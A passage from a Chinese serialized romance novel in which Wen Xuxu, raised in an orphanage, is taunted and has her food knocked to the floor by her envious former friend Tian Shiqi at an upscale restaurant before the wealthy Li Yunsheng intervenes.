说怕那也有点,大抵是不知道黎云笙什么时候发疯吧,就像叫她走秀的那位老师说的,她那些确实是忠告。 上点心,而不是成为男性口中的点心。 她能感受到黎云笙对自己是有点兴趣的,但是“兴趣”还是“性趣”她其实还摸不太准。 黎云笙大抵是觉得她长得好看再加上性子好玩才来了点劲儿。 他有心逗弄,可想要撤回感情那是轻而易举的,但温栩栩觉得自己如果一旦上心可能会有点恋爱脑。 她无父无母,在孤儿院长大。那些被遗弃的孩子,心里总缺着一块填不满的窟窿。 孤儿院长大的孩子,只要你给她一个拥抱,她都可能觉得你是爱她的。 小时候,只要有人递给她一颗糖,她就会巴巴地跟着对方走。长大后,她见过太多人用甜言蜜语编织谎言。 人类最会虚与委蛇,就像黎云笙这样有权有势的人,真把她弄到床上,哪怕说爱,那恐怕也只是身体的爱。 他身份摆在那里,可以随时抽离,但她呢?她算什么? 难道像个弃妇一样,痴痴等着他施舍一点温情? 她不要。 所以本就不该有进展的感情就该在这一刻直接斩断。 见面脸红心跳是一回事,毕竟几乎没有女性见到黎云笙会不心动的,他像块冷玉,可偏偏又会在某个瞬间让人错觉能捂化他。 但重要的是守住身,守住心。 她看得清楚明白,此刻不想跟她们聚会,说白了就是不想跟黎云笙见面。这很正常,但重要的事守住身守住心。 温栩栩的防备其实就像一层坚硬的壳。 她太清楚自己的处境了。孤儿院长大的孩子,像棵野草,风吹雨打惯了,反而学会了在裂缝里生存. 她见过太多有权势的男人玩腻了就丢,就像那些来孤儿院做慈善的企业家,对着孩子们笑出一脸褶子,转身就对着助理说“这些孩子真脏”。所以她对黎云笙的靠近始终带着试探和警惕。 哪怕黎云笙真的对她不同,她也不敢信。一旦交付真心,被碾碎的只会是她自己。 韩城也不是傻子,这次彻底听明白了。 但他不懂温栩栩对黎云笙那种有点复杂的感情,他直接“嗷”了一声:“你嫌弃阿笙是不是,我懂了,行,那我不逼你了,等会儿我让人给你把饭送下来,或者单独给你开一桌。” “算了,你去华庭一楼,我让人给你单独开一桌,想吃什么自己点,我这边就给人安排下去。” 韩城就是行动派,说完已经让经理准备了。 他都已经准备上了温栩栩再拒绝确实就显得不太好了。 韩城乐颠颠的觉得自己真是了不得。 温栩栩忍不住笑了笑,跟着韩城一起进了华庭,不过温栩栩再大厅角落位置坐下,服务生很快送来菜单,韩城果然大手笔,从香煎鹅肝到松露烩饭列了满满两页,其中赫然写着“香薰三文鱼配鱼子酱”和“樱桃炖肉——韩城先生特别推荐”。 “点的也太多了。”温栩栩哭笑不得,指尖划过那些昂贵的菜名。 她最终退掉了半数的菜品,只额外要了杯锡兰红茶。茶盏端来时雾气氤氲,琥珀色的茶汤在灯光下泛着柔光,她慢慢抿着。 韩城有点嘚瑟的回了包厢,整个人像只刚偷腥成功的猫,尾巴都快翘到天上去了。他这会儿看黎云笙的眼神,眼睛不是眼睛鼻子不是鼻子的。 他斜斜倚在软沙发上,还不忘用脚尖踢了踢地毯上的流苏穗子,活脱脱一副“老子办成了大事”的欠揍模样。 黎云笙觉得他这多半就是欠揍。 “人呢?没叫上来?”黎云笙品着红酒,他已经喝了大半瓶了,看着似乎是有点微醺。 韩城“昂”了一声,让刚才跟自己一起上来的服务员给自己备菜端到自己这边专门的小桌上,美滋滋道:“我兄弟说了,她嫌弃你,不想看见你,所以没上来,我给她在一楼单独叫了一桌。” “哼,我早说了你不招人喜欢吧,你看,我兄弟就讨厌你,就因为你才不上来吃呢。” 说着还特别得意,搞得温栩栩很喜欢他似的。 黎云笙的酒杯“咚”地搁在桌上,红酒溅出几滴,在白色桌布上洇开暗红的花。 盛景炎适时挑了挑眉,骨节分明的手指捏着核桃,在桌面敲出清脆的节奏,像在打某种嘲讽的拍子。他颇有意味儿的眼神就落到黎云笙身上,然后慢条斯理的在餐桌上“敲”核桃。 黎云笙:“……” 都什么兄弟。 “你什么眼神?”黎云笙看向盛景炎,嗤了一声。 盛景炎摆摆肩:“没什么眼神,我敲核桃,核桃好吃,等会儿让韩城多吃点,补补脑。” 韩城也确实需要补脑。 不然这人怎么就能小嘴一张说出来的全都是大家不爱听的话呢? 虽然这跟他没关系,他就是个看戏的,但也确实是想拯救一下自己兄弟。 脑子怎么长得? 看不出来黎云笙真的对温栩栩有意思就算了,还在这边添油加醋又是“嫌弃”又是“讨厌”的,这一字一句跟带着刀子似的。 啧,谁听了谁不说句厉害啊。 “我才不需要吃核桃,你吃你自己的吧!”韩城嚷嚷,手指用力戳向盛景炎的方向,指尖几乎要碰到对方晃动的酒杯。 盛景炎早有预料,慢悠悠侧身避开,笑得像只狡黠的狐狸:“我不用吃了,我再吃就要801个心眼子了,你再不吃你就负2、3、4个心眼子了,大家都是兄弟,我总要帮帮你不是?” 第978章 是不是真的这么厌恶他 韩城满脑子都是“臭狐狸”,想骂人。 韩越来的时候包厢里剑拔弩张的。 黎云笙在皱眉喝酒,盛景炎笑的跟个大尾巴狐狸一样敲核桃,小盘里都已经三四颗完整的核桃了。自己亲弟弟韩城还在那里嚷嚷自己不需要补脑不吃核桃。 什么情况? 他不就来晚了点吗? 怎么感觉自己错过了很多事情一样? 韩越眉头微皱,脚步骤然放缓。 韩越目光扫过盛景炎脸上那欠揍的笑,再瞥向韩城瞪得溜圆的眼珠,他隐约嗅到了火药味。 韩城那脾气他清楚,十句话里八句是炮仗,可盛景炎这老狐狸向来蔫坏,两人凑一块儿……怕是要擦出火星子。 韩越看向盛景炎,似乎等着盛景炎跟自己解释解释,毕竟弟弟比较笨,靠不住。 盛景炎敲核桃,边敲边把韩城说的那戳心窝子的话复述了一遍。 知道前因后果的韩越眼角抽了抽,坐到盛景炎身边也跟他一起敲核桃,指尖熟练地捏起一颗,拇指一按,咔嗒一声脆响,果仁完美脱壳。 韩越眼角抽了抽,强忍着笑意,将剥好的核桃仁塞进韩城手里:“多吃点,补补脑子,免得下次再‘贴心’过头。” 韩城都无语了,一个两个的都什么意思啊! 盛景炎这样就算了,怎么自己亲哥也这样啊,太过分了,他都觉得自己快发飙了。 “你们敲那么多核桃都不新鲜了,谁家好人一天吃这么多核桃的,就算是优质脂肪那也不能吃那么多啊!我顶天儿了吃四个!” 韩城大声嚷嚷。 他音量拔得老高,连黎云笙晃酒杯的动作都顿了顿。 韩越哦了一声:“没事,可以真空给你装起来,一天四个,记住了。” 真服了。 韩城翻了个白眼。 黎云笙垂眸盯着手中空荡荡的酒瓶,指尖无意识地摩挲着玻璃纹路。 韩城在这边胡闹呢,也没注意到黎云笙自己就干了一整瓶红酒,这酒度数不低,黎云笙现在酒量并没多好,此刻有点发晕。 他已经站起身。 “阿笙?” 韩越叫住他,似乎是不明白他要去做什么。 包厢里面就有洗手间,就算去洗手间也不是这个方向啊,明摆着是要出去。 黎云笙冷笑:“我要问问清楚,是不是真的这么厌恶我。” 韩城:“?” 不是?什么情况? “黎云笙你又要干什么啊!”韩城无语了。 盛景炎看出来黎云笙喝酒了,在一旁抱着手臂“啧啧”两声:“对,这种事,确实是应该问清楚,下午还在学校里面搂搂抱抱呢,怎么晚上就说讨厌了,哪能这么反复无常呢,阿笙必须问清楚啊!” 韩城在无语,盛景炎在添油加醋加看戏,韩越还在拦住韩城捣乱,显然也想看戏。 一个个的,全都是世纪无敌好兄弟啊! …… 温栩栩根本不知道楼上包厢发生的事,她还在一楼大厅享受着韩城推荐的樱桃炖肉。 这道菜确实很美味,酸甜的樱桃果香与炖得酥烂的肉块在舌尖交织,肉质肥而不腻,果酱的清甜恰到好处地中和了油腻感,她还挺喜欢吃的。不过晚上她不会吃太多肉,所以只浅尝了几块,打算走的时候打包带走,省得浪费。 正慢条斯理地吃着,远远就听见有人拖长了音调“呦”了一声,像是带着嘲讽。 正吃着,远远就听到有人“呦”了一声,像是带着嘲讽。 声音有点熟悉,带着某种刻意拿捏的尖利,仿佛一根细针扎进耳膜。 温栩栩抬眸,对上一张极为熟悉的面容,田诗琪,以前孤儿院的人。 田诗琪今日穿了一身香槟色丝绸长裙,脖颈上挂着硕大的钻石吊坠,举手投足间刻意模仿着贵妇的优雅,却总透着一股暴发户的粗俗。她身边跟着两个浓妆艳抹的女伴,正用涂着鲜红指甲油的手指指着温栩栩的方向窃笑。 见温栩栩看过来,田诗琪挑起描得极细的柳叶眉,嘴角勾出讥讽的弧度:“这不是温栩栩嘛?听说你最近参加了星黛儿的走秀?这是挣了一笔钱就敢来华庭消费了?知道华庭什么档次吗?一桌菜够你攒半年工资了吧?真是不知道节俭,有了点钱就胡乱挥霍呢。” 温栩栩和田诗琪,其实最早的时候关系很好。 那时孤儿院的冬天总是格外漫长,她们蜷缩在潮湿的宿舍里共用一床薄被,温栩栩会偷偷把领到的牛奶分给总装肚子痛的田诗琪,田诗琪则教她用碎玻璃片在墙上刻出星星的形状。 直到那户姓田的夫妇来领养孩子,事情开始变质。田诗琪耍手段让温栩栩出丑,对方对她心生厌恶领养了田诗琪。 田家那的确是大户人家,虽不是帝城顶层圈子,却也是商界说得上的高门高户。 他们领养女孩的目的从始至终都不单纯,不过是把她们当作待价而沽的货物,养大了用作联姻扩展商业版图的工具。所以最初看中的是更貌美的温栩栩,她那双像浸了星光的眼睛,让人一看便知长大后会是倾国倾城的美人。 只是温栩栩出丑后,对方担心她长大后太蠢笨不能利用,才退而其次选择了田诗琪。 田诗琪知道这些,但完全不介意,因为她本就是孤儿院出来的,凭着家族联姻嫁进去的绝对都是有钱人,嫁给有钱人有什么不好? 所以田诗琪一直都乖巧懂事,田家对她也就很好,倒是真的把她看作是家里面的小姐。 但田诗琪心里其实是自卑的,因为她觉得自己不如温栩栩漂亮不如温栩栩优秀,所以此刻,当她看到温栩栩出现在华庭,嫉妒和害怕的火苗瞬间窜上心头。 凭什么温栩栩跌了那么大的跟头,还能有机会参加星黛儿的走秀? 田诗琪绝不相信温栩栩能真的飞上枝头变凤凰,她认定对方一定是靠着某些见不得人的手段攀上了哪个老男人,才混进上流社会的边角。 “你来华庭吃饭,不会是勾搭上了什么老男人吧。”田诗琪踩着高跟鞋哒哒走近,故意将“老男人”三个字咬得格外清晰,“不过你当模特能挣多少钱?华庭的会员费就够你交半年的房租了吧?要不要姐姐教你几招?毕竟我在豪门混了这么多年,什么场面没见过?” 她身后的女伴适时发出夸张的笑声,音浪在寂静的大厅里格外刺耳。 第979章 你只能仰望她 温栩栩垂眸看着餐盘里整齐排列的肉块,指尖无意识地摩挲着打包盒的边缘。 她其实现在挺想笑的,突然就想起孤儿院最后那个夜晚。 田家确定要带走的人是田诗琪,田诗琪拎走当晚在她枕头下塞了块发霉的面包,上面用歪歪扭扭的字写着:“你活该。” 她至今记得摸到那黏腻触感时的恶心,更记得拆开纸条时喉咙里哽住的苦涩。 她们难道不是关系最好的朋友吗?一起分享过最后一块糖果,一起在雨夜里用破收音机听童话故事,一起约好了要做一辈子的好朋友。 她不清楚,怎么就变成自己活该了。 所以为什么要这样对她呢? 她不懂,更不明白。 幼年的温栩栩甚至为此哭肿了眼睛,直到被院长发现异常被严厉质问。她死死咬住嘴唇不敢说出真相,因为她知道,一旦田诗琪被取消领养,她那时候太小了,可也明白,一旦说出真相,田诗琪可能会被送回来。 她果然还是不够狠。 后来长大了,经历的事情也越来越多,才知道田诗琪这样的人比比皆是。 她们自私得理所当然,把别人的善意当作垫脚石。她们奸诈得理直气壮,把背叛包装成生存智慧。她们狡猾得像游走在阴影里的蛇,随时准备咬断挡路的藤蔓。她们唯利是图,为了利益能撕碎所有道德的遮羞布。 温栩栩见过太多这样的人。 模特圈里为资源踩着同伴上位的“姐妹”,娱乐圈里表面姐妹情深背后泼脏水的“闺蜜”,商场上笑着递名片转身就挖墙角的“合作伙伴”…… 好像这样的人总是要过得比那些善良的人更好,因为她们会争会抢,会不择手段,甚至你到手的资源前程也会被设计夺走…… 后来温栩栩就想清楚了,错的一直不是她,是那个幼年时期就已经树立了掠夺三观的田诗琪。 田诗琪害怕被遗弃,害怕回到黑暗的孤儿院,所以宁愿用最残忍的方式斩断别人的希望,来给自己铺路。 而温栩栩,哪怕被推进储水桶被关在小黑屋里狼狈不堪,哪怕失去领养机会后在孤儿院多熬了三年,也始终没能学会用伤害他人来换取自己的安稳。 可她也的确达到了她的目的,被田家领养,成为了被许多人仰望的田家小姐。 现在,田诗琪的钻石项链在灯光下闪烁,她没有参加过什么拍卖会,也不认识几个高奢品牌,也就只认识几个名贵点的品牌标志,可即便这样也能看出田诗琪身上的首饰和身上衣物都价值不菲。 可温栩栩的眼神始终平静如水,甚至轻轻勾起唇角:“田小姐教我的已经够多了,比如怎么在关键时刻推人一把。” 田诗琪脸色骤变,涂着暗红唇膏的嘴唇微微发抖。 温栩栩却已起身,将打包盒仔细封好:“至于华庭的档次……确实很高,高到能让人看清某些人哪怕隔了这么多年,都能让人一眼瞧见骨子里还是孤儿院的做派。” 温栩栩说的没错,田诗琪再如何伪装,也变不成真正的名媛。 她身上那股子孤儿院带来的卑微与不安,仍像阴沟里的老鼠,在她刻意抬高的下巴和夸张的嘲讽语气里若隐若现。 田诗琪咬牙死死盯着她,在她提到孤儿院的时候脸色就已经变了。 她比谁都清楚自己骨子里还留着孤儿院的烙印,那些深夜蜷缩在发霉床铺上的颤抖,那些为了半块馒头挤破头的狼狈,那些在领养家庭面试时拼命练习微笑的虚伪。 这些记忆像腐肉般黏在灵魂深处,无论她涂抹多少层香水都遮不住。 可她是真的没想到温栩栩竟然胆子真的这么大,敢当着自己的面说这样的难听话。 她难道不知道自己被田家人领养了吗? 温栩栩凭什么敢用这种语气跟她说话?凭什么在她面前露出那种从容的笑?难道她不知道自己是田家的千金吗?难道她不知道田家在这帝城的地位? 可温栩栩连看都没看她腕上的百达翡丽,连她新订的香奈儿高定礼服都没多瞧一眼。 这种无视比直接的羞辱更让她抓狂,仿佛她苦心经营的一切在温栩栩眼里不过是廉价泡沫。 其实田诗琪被领养后,田家人就勒令她不许再跟曾经孤儿院的孩子们联系,她自己本也没打算联系,但她忍不住想跟温栩栩炫耀。 她想告诉温栩栩,你瞧,我过的多好,我成了田家的千金,我在田家吃着你想象不到的豪华大餐,而你只能在孤儿院继续吃残羹冷宴,我在田家穿着绫罗绸缎,而你只能继续穿着打了补丁的旧衣服。 看啊,她已经用自己的手段爬到了最高点,你只能仰望她。 所以为了这个,田诗琪特地回过一次孤儿院,甚至跟养父养母说是学校安排的要参与爱心捐款,当时养父养母觉得这是个可以宣传的好机会,所以购买了许多文具玩偶糖果送到了孤儿院。 她特意穿了缀满水晶的公主裙,养母赞助的糖果堆成小山,她站在镁光灯下分发礼物时,嘴角的笑几乎要扯到耳根。 她成为了人上人,往日孤儿院那些人她早已看不上了。 可当余光瞥见角落里的温栩栩,她手里的糖果突然变得黏腻恶心。 温栩栩只是安静地站着,头发蓬乱却遮不住瓷白的肌肤,旧衣服洗得发白却衬得身姿如竹。 那一刻田诗琪突然觉得所有人都在看她,看她的公主裙,再看温栩栩的补丁衣服,仿佛在无声嘲笑她不过是偷穿了不属于自己的华服。 温栩栩只是淡淡扫了她一眼,眼神里没有嫉妒,没有不甘,甚至没有恨意。这种平静像一盆冰水浇灭了她所有的优越感,让她在镁光灯下突然浑身发冷。 她身上的衣服还是那老几件,没有变,可田诗琪就是感觉她更漂亮了,她只是站在角落面无表情的看着她发糖果,都会让田诗琪有种恐慌的感觉。 第980章 毫不在意 田诗琪就是会觉得温栩栩总给她一种自己拼命抢来的东西,可能温栩栩招招手就能重新得到了。 衬得她更加可悲可怜。 可凭什么温栩栩想要什么就能得到什么,而他想要什么就只能去争去抢? 她对温栩栩更恨了。 但也因此开始警惕。 因为她知道自己的养父养母想要的就是这样漂亮的女孩子。 她突然想起领养那天,温栩栩被推进储水桶的狼狈模样。水浸湿她的头发,污泥糊住她的脸,她蜷缩在桶底像只濒死的猫。 田诗琪站在旁边笑,笑得眼泪都出来了。因为她知道,这次推搡会换来她的人生。而温栩栩,那个蠢货,竟然连真相都不敢说出来。现在想来,那时的温栩栩就像现在一样,安静地承受着一切,仿佛对所有伤害无动于衷。 这让她更加恐慌,仿佛温栩栩才是真正掌控命运的棋手,而她不过是棋盘上一颗随时会被吃掉的棋子。 田诗琪脸上还带着勉强的笑容,她看着温栩栩,嘲讽般的开口:“温栩栩,你这样只会让我认为你在嫉妒。” 她逼近,“你知道我的未婚夫是谁吗?是赵家的少爷赵天宇,我过生日他可以为我放烟花庆祝,帝城海岛和各大广场都能看到他为我策划的无人机庆祝表演,他送我的礼物更是百达翡丽最新款的手表,他知道我喜欢吃海鲜就让人私人飞机空运来讨我开心……” 她开始炫耀。 赵天宇是赵家的少爷,虽然不是继承人,但手握股份也在赵氏任职,对她来说钱多的话不完。 这就是她一直期盼的人上人的生活。 她当然想让温栩栩知道什么是世界的参差。 温栩栩看着她此刻骄傲得意的模样,好像就是在故意想要把她踩下去。 温栩栩还是那副淡淡的,什么事都跟自己无关的模样。 “所以呢。”她抬眸看着面前的对自己炫耀的女人,“跟我有什么关系吗?” 就像温栩栩说的,她不在乎很多事,不在乎田诗琪被田家收养,不在乎她要嫁给什么有钱人,各自有各自的生活,这些跟她无关,她为什么要在意。 田诗琪的喉咙突然哽住,仿佛被无形的手攥住了。 她用力挺直脊背,指甲深深掐进掌心,仿佛这样才能站稳。 那些她以为能刺痛温栩栩的“糖衣炮弹”,在她云淡风轻的目光中,突然变得像廉价的气泡,漂亮却一戳就破。 她突然想起孤儿院的日子,那时温栩栩总能把发霉的面包掰成两半,分给她时笑着说“够吃了”。 她好像一直都是这样,不在意很多事。 可正常人怎么会不在意呢!她一定是在演戏在伪装。 “温栩栩,你可真虚伪,没有人会不在意这些。”田诗琪嘲讽,“你这样只会让我认为你在嫉妒。” 温栩栩淡淡的嗯了一声,“如果这样想能让你高兴的话,那你随意。” 她还是不咸不淡的模样,田诗琪心头的火“腾”的一下升腾起来。 她永远都是这样!她真的最讨厌的就是温栩栩这副对什么事都云淡风轻的模样! 田诗琪的声音尖利起来,像是绷紧的琴弦,“你难道就不羡慕?赵家能给你的,是普通人几辈子都挣不来的!” 开始慌乱,语速加快:“赵天宇下个月要带我去参加家族晚宴,你知道那是什么场合吗?帝城顶层圈子的人都会到场!” 温栩栩终于轻笑出声,“听起来不错,所以又跟我有什么必要的联系吗?” 温栩栩抬眸看她:“比起你说的这些,其实我可能更在意打包回去的樱桃炖肉复热后还会不会这么好吃。” 田诗琪的脸瞬间涨红。 她费尽唇舌堆砌的“人上人生活”,在温栩栩这里,竟然连盘剩菜都比不上。 她踉跄后退半步,高跟鞋在地毯上踩出扭曲的痕迹,仿佛踩在刀尖上。 “其实我实在不明白你为什么一定要来见我呢。”温栩栩斜倚在天鹅绒软椅上,指尖轻轻摩挲着骨瓷茶盏的边缘。 琥珀色的红茶在杯中漾起涟漪,热气袅袅升腾,氤氲了她精致的眉眼。 华庭大厅内暖金色的灯光倾泻而下,将她的轮廓勾勒得温柔而疏离。 这样普通的动作,却让田诗琪莫名觉得她像是坐在中世纪油画里的贵族少女,连呼吸都带着矜贵的气息。 她明明是那样的出身,可偏偏做任何事总会给田诗琪一种温栩栩才是名媛千金的错觉,哪怕她知道温栩栩身上的T恤运动短裙可能价格都只有两位数,但她穿在身上就会让人感觉是高奢品牌。 明明是她来挑衅,可在此刻,却好像完全被温栩栩碾压了。 怎么能这样呢,怎么可以这样呢? 田诗琪唇瓣颤动,温栩栩却饮了一口茶继续道:“坦白来说,我们当初在孤儿院的时候感情确实很好,我也……确实把你当做了最亲近的姐妹,其实那时候你不推我进储蓄桶不设计把我关进小黑屋我也不会跟田家人离开的。” 说到这里温栩栩自嘲道:“我那时还挺放不下你的,不过现在看来倒成了我的愚蠢,因为你从来不需要我这样的关心。” “你需要钱,需要权,需要这样被众人高高捧起的社会地位。这没什么问题,人穷的时候没有任何选择的余地,最想要的肯定是钱,那时的我可能只有一腔真情,偏偏最缺的是你想要的金钱地位。” “所以你抛弃我选择了这条路其实也情有可原。” “不过我还是希望田小姐应该清楚一件事,当年你选择设计我抛弃我跟你的养父养母离开后我们就不再是朋友了,所以其实你今天见到我最正确的选择应该是把我当做陌生人然后转身离开。而不是靠近我说一些似是而非令人发笑的话。” 周围的空气仿佛在此刻凝固成冰。 田诗琪的呼吸急促起来,她想起那天在赵家宴会厅,自己穿着华服却仍被贵妇们用挑剔的眼神打量。 第981章 你说谁是虫子 田诗琪在此刻想起赵天宇虽然平日里对她温柔,可醉酒后抱怨她不过是“会听话的玩具”,想起每次出席社交场合,那些看似友好的笑容背后明灭的打量。 温栩栩此刻这样安静,却一株雪中青竹,连沉默都透着从容。 可她越是从容,田诗琪心里就越是发慌。 “我明白你的心理。”温栩栩的声音突然柔和下来,“你无非是希望我震惊羡慕嫉妒,从而满足你在我面前表现出的高高在上的感觉。” 她轻笑出声,“可是,多年前我都没有因为这件事而恼恨嫉妒,你认为成年后的我会比那时的我更幼稚还是更愚蠢?” 温栩栩微笑,“田诗琪,难道愚蠢的不是你吗。” 田诗琪一时竟然哑口无言。 是啊,那时候她都那般冷静,她又怎么会在一切尘埃落定后再露出嫉妒丑恶的嘴脸。 温栩栩还是那个温栩栩,她从未变过。 “田诗琪,今天过后希望以后你只把我当陌生人,祝你……幸福?”温栩栩还在笑,她甚至能这样轻描淡写的说出祝福的话。 田诗琪突然明白,无论她如何炫耀,温栩栩始终是那个站在高处的旁观者,冷眼看着她把灵魂典当给虚荣。 而她自己,不过是台上跳梁的小丑,妆浓了,戏过了,台下却空无一人。 此刻,她自己都觉得自己甚是可笑,更遑论……从不把她放在眼里的温栩栩。 田诗琪满心又变成了“凭什么。” “你对我说这些!可你自己还不是一样!” “你看看你现在,如果不是被人包养你能来华庭用餐吗!你自己都找了有钱男人包养,现在却对我说这些?” “你凭什么高高在上?”她突然歇斯底里地吼叫起来,声音尖锐得让周围的服务生都惊愕地停下脚步。 田诗琪咬牙,将她打包好的餐盒摔到地上,还散发着热气的美味食物倾洒在地板上,在地毯上洇开一片暗红色的污渍,像一朵扭曲的玫瑰。韩城推荐给她的樱桃炖肉也洒了一地,汤汤水水在地毯上染了污渍。 “你以为你装得清高就能掩盖事实吗?你不过是被男人包养的玩物!” 田诗琪的呼吸急促,胸脯剧烈起伏,眼眶通红却强撑着不肯落泪。她知道自己此刻的样子有多狼狈,可更无法忍受的是温栩栩始终如一的无动于衷。 温栩栩顿了下,田诗琪却指着地上的食物对着温栩栩嘲道:“你就跟这些食物一样,你再美味有什么用,我稍一用力你就滚落到地上,没有人肯再吃一口,而你连反抗的余地都没有!” 温栩栩终于微微蹙了眉。 她弯腰的动作优雅得像天鹅屈颈,慢条斯理地捡起被摔散的餐盒,指尖甚至沾上了汤汁。“华庭的地毯清洗费用,应该由田小姐承担吧?”她的声音依旧平稳,却让田诗琪的怒火更甚。 仿佛她在意的是地毯,而不是被羞辱的尊严。 “你少转移话题!”田诗琪一把扯住温栩栩的手臂,她凑近温栩栩耳畔,恶狠狠地说:“你以为星黛儿的走秀能让你站稳脚跟?只要我一句话,就能让你立刻滚出那个圈子!”她的指甲几乎要戳进温栩栩的皮肤。 “到底是谁给你的自信心对我说那些,温栩栩,你真的惹怒我了!” “你还要继续参加星黛儿的走秀是不是,我告诉你,只要有我在,你就不能继续参加星黛儿的秀!这就是你得罪我的下场!” 她就是要毁掉温栩栩,她恨温栩栩! 温栩栩轻笑出声,她轻轻拂开田诗琪的手,“你真是总喜欢用最卑劣的手段,却奢望别人用高尚的姿态回应你。” 周围传来窃窃私语,有几位贵妇端着香槟杯侧目而视。 田诗琪的脸涨得通红,她像被点燃的爆竹般冲向温栩栩,却被服务生及时拦住。 温栩栩后退半步,裙摆扫过污浊的地面却纤尘不染。她垂眸凝视地毯上的汤汁,忽然道:“你知道吗?樱桃炖肉最讲究火候,急火会破皮,慢火不入味。就像有些人,总想用最快的方式得到一切,却忘了根基早已溃烂。” “你会后悔的!”田诗琪甩开服务生的阻拦,嘶喊着:“星黛儿的秀场,你绝对进不去!你嘲讽我你就会被星黛儿淘汰!你永远!永远都不可能真的站起来!” “温栩栩你就只配待在阴沟里!你只配当一只泥水里任人碾压的虫子!” 她疾言厉色,对她带有巨大的厌恶和戾意。 电梯门开的“叮咚”声被无限拉长,仿佛有人按下了时空的慢放键。 一道黑影从光亮处走来,每一步都像踩在人心尖上。 黎云笙从电梯出来听到的就是田诗琪那些饱含巨大恶意的话,他能感受到内里汹涌的恨意。 “你说谁是虫子。” 他嗓音低沉带着点醉酒后的哑意,可他看着并不像醉酒的模样,眉眼仍然深沉带着平日常见的凉意。 他身材实在高大,这样逼近,带着几乎是碾压的压迫感,田诗琪只是跟他打了个照面就愣住了,有些惊愕的看向温栩栩。 难道这就是温栩栩背后的男人吗? 黎云笙毫不在意田诗琪此刻是多惊恐的模样,他不急不缓的走到温栩栩身边,目光触及她沾了汤汁的指尖,眸光微微暗了几分。 他只淡淡瞥了眼服务员,对方立刻将打湿的毛巾递过去。 黎云笙全然不在意的握住温栩栩的手腕,用毛巾擦拭着温栩栩指尖有点甜腻的汤汁。 温栩栩仰着头,嗅到他身上混合着雪松与红酒的气息。这味道本该是慵懒而暧昧的,可从他身上散发出来,却带着明显的凉意。 田诗琪愣在原地,整个人像是完全无法接受这突然而来的情况,显得有些呆傻。 她不是完全的蠢货,怎么会不明白,能来华庭的人,非富即贵。 而温栩栩面前的男人,就好像是她这辈子都触不到的阶层。 怎么会这样,怎么能这样? 为什么温栩栩总这样好运呢? 第982章 顶级渣男脸 黎云笙从电梯踏出的瞬间,仿佛将整个空间的温度都往下压了几度。 他身量极高,肩宽腿长,迈出的每一步仿佛都带着沉甸甸的重量,皮鞋底与大理石地面碰撞出清脆的声响,在寂静的餐厅走廊里回荡。他周身仿若裹挟着一层若有若无的低气压,冷冽的目光扫过人群,连路过侍者都不由自主放缓呼吸,低头让出通路。 田诗琪的咒骂声撞进他耳膜时,他脚步未停,却像一座冰山骤然裂开缝隙。 醉意染过的嗓音沙哑低沉,尾音却锋利如刃:“你说谁是虫子?” 话音未落,人已逼至眼前。 他逼近时投下的阴影几乎将田诗琪整个人笼罩,那股碾压式的压迫感让她后颈发凉。 他实在太高,阴影里那双鹰隼般的眼睛居高临下盯着她,仿佛在看一只蝼蚁挣扎在蛛网边缘,恐慌的想逃却又无法逃脱。 温栩栩僵在原地,瞳孔猛地收缩。 她不是没有接触过黎云笙,但黎云笙在她面前除了那次在包厢内,其他时候都看似温和,导致她忘记了在有些人口中这位黎少究竟有多难以接近。 他平日总是一副疏离冷淡的模样,此刻却撕开优雅的伪装,浑身都散发着令人难以忽视的冷意。 他西装外套随意地搭在臂弯,内里银灰衬衫的领口松散着,但那慵懒表象下,每一寸肌肉都紧绷如弓弦,尤其是当他漫不经心擦过她身旁时,袖口铂金纽扣划过她手背,冷硬的触感让她呼吸一滞。 黎云笙的相貌生得极为凌厉,五官如雕刻般深邃,眉骨高挺,眼窝微凹,那双眸子此刻浸着寒意,瞳色是近乎墨玉的漆黑,只在转动时泛起一丝幽光。鼻梁挺直如峰,薄唇抿成锋利的直线,连下颌的弧度都透着冷硬的质感。 田诗琪整个人都已经惊呆了,她被田家领养回去后最先学会的就是认识那些高奢品牌,国内外的大牌乃至国内锦绣的手工定制都能认出来,所以黎云笙身上的衣服,她能瞧得出是国内价格高昂却又小众的一家高奢店手工定制,而那块腕表更是最新推出的全球限量款。 她那块百达翡丽在温栩栩面前炫耀,可黎云笙那一块能顶她十块还更多。 田诗琪唇瓣都在哆嗦,然后整个人此刻已经僵硬成了木头,不敢开口更不敢说话。 田诗琪身边的小姐妹们也都愣住了,全都不知道要如何应对这场合。 所有人都能感受到他身上散发而来的冷冽感,然而这满身冷意,在他视线触及温栩栩的刹那却陡然温和了一瞬。 他的目光落到温栩栩的身上,注意到她指尖沾着汤汁,甜腻的油渍在莹白皮肤上格外刺眼。 他眉峰微不可察地蹙了蹙,连招呼都懒得打,用湿毛巾擦拭她手上的污渍,田诗琪却觉得他此刻的动作实在过于温柔,更显得他矛盾又疏离。 当他擦拭完毕转身直面田诗琪时,眼底的温度骤降至冰点。 寒意从他瞳孔深处蔓延,像是寒潭里浮起的暗流。 田诗琪被他那目光钉在原地,喉头滚动的恐惧几乎要溢出口腔。 到底……到底是什么了不得的人物,只是一个眼神就让她几乎要浑身发抖,快要扛不住的地步! 田诗琪虽然被田家领养,可田家跟帝城那几大家族相比实在有些不够看,就算偶尔参加晚宴,田家也不一定会带上一个领养回家的女儿,所以田诗琪几乎没有接触过上流圈层那些真正的豪门少爷。 但即便如此她还是能感觉到面前的人很危险,危险到让她感觉,大概只要眼前的人一句话,田家就会节节败退的程度。 这人,到底会是什么出身。 电梯门再度打开,韩城风风火火的冲出来,韩越慢条斯理的跟在其后,盛景炎大手里面还抓着两颗核桃盘着玩儿,悠哉悠哉的一旦瞧不出着急的模样。 韩城一马当先冲到黎云笙面前,他缺根筋似的完全没感觉到气氛不对。 “阿笙你到底怎么了?”韩城到黎云笙面前开口询问,都这个时间了,都没注意到古怪的气氛。 田诗琪没见过这几人,但隐隐觉得盛景炎有点眼熟,好像应该是见过的。 倏地,她身边的小姐妹小声尖叫,赶紧拉拽着她的衣袖:“那个是盛景炎啊,盛家的少爷啊!” 田诗琪整个人愈发僵硬了,她脖子像是上了发条,极为缓慢的转移到盛景炎身上。 田诗琪的呼吸在看清盛景炎面容的瞬间凝滞了。 男人身高逼近一米九,肩宽腰窄的身材比例完美如雕塑,却偏偏生了一张能让人瞬间沉溺的“狐狸脸”。 